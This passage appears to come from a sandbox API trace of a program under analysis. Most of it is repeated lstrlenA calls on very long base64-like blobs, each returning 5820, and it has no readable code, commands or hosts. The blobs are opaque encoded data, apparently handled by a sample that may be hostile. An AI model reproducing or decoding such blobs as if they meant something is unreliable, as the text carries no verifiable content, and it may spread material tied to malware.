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") returned 5820
	[0084.639] lstrlenA (lpString="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") returned 5820
	[0084.639] lstrlenA (lpString="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